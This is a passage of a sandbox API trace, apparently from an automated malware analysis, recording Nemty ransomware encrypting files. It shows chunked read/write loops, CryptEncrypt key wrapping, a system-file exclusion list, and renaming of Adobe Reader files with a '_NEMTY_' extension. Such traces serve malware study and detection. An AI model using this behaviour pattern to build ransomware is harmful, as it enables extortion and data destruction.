lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.685] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.749] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.755] CloseHandle (hObject=0xffffffff) returned 0 [0199.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0199.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0199.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.756] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2._nemty_kgobjgd_")) returned 0 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0199.756] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-0", cAlternateFileName="AD276E~1")) returned 1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2=".") returned 1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="..") returned 1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="...") returned 1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="windows") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="$RECYCLE.BIN") returned 1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="rsa") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="NTDETECT.COM") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="ntldr") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="MSDOS.SYS") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="IO.SYS") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="boot.ini") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="boot.ini") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="AUTOEXEC.BAT") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="ntuser.dat") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="desktop.ini") returned -1 [0199.756] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="CONFIG.SYS") returned -1 [0199.757] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="RECYCLER") returned -1 [0199.757] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="BOOTSECT.BAK") returned -1 [0199.757] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="bootmgr") returned -1 [0199.757] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="programdata") returned -1 [0199.757] lstrcmpiW (lpString1="Adobe-Japan1-0", lpString2="appdata") returned -1 [0199.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-0", lpUsedDefaultChar=0x0) returned 14 [0199.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-0", lpUsedDefaultChar=0x0) returned 14 [0199.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-0", lpUsedDefaultChar=0x0) returned 14 [0199.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-0", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-0", lpUsedDefaultChar=0x0) returned 14 [0199.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0199.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0199.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0199.757] Sleep (dwMilliseconds=0x5) [0199.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ab84cf0, dwHighDateTime=0x1d561e8)) [0199.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ab84cf0, dwHighDateTime=0x1d561e8)) [0199.780] GetLastError () returned 0x5 [0199.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.780] GetLastError () returned 0x5 [0199.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0199.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="l5GO6v2kcmPSZ0a97fgn1QwQBUqGYsCVZ6DD4dUXHCDQbt2jk0TL2OHo2iQuP7Wy\r\n5918QO12te+vpr3g48fiv5LOpoXFxXLW5Fla8vj2JXzfUyAGZ/iCn72X+Xsw50c/\r\n6PEpQIroH95+znvlMGS8fpLYj/L9n0/rhEhdecout4X0otO6BuRkbXeZVzi+TPzh\r\nC2IBa3Z4u0H30DdXBIqv88dU2zIqlWiz7ro+osOWVy88+DYAc8nOz+WhO58idm7O\r\nWDjadcmw5ixoAnCBYF5h4xTUSvqHjE5tjAhph4CgJfKhpsSoI/GE7Zj0/bxUnZjl\r\ndyfXC7azN3cZm+IfYmeslg==\r\n", pcchString=0x653e91c) returned 1 [0199.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0199.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0199.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0199.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.782] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 